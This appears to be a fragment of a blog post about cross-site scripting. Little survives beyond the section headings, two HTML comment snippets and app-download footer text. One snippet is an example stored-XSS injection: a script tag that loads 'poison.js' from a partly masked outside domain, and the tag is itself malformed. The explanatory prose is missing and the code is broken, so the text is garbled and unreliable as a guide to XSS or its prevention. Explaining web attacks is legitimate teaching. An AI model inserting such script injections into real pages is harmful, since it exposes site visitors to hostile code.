How dangerous is XSS security?

Types of XSS

<div class = "comment">
<p> I want to find JA* </p>
</div>

Prevention

<div class = "comment">
<p><script src ="//po**hub.com/poison.js"</script></p>
</div>

Conclusion

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Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store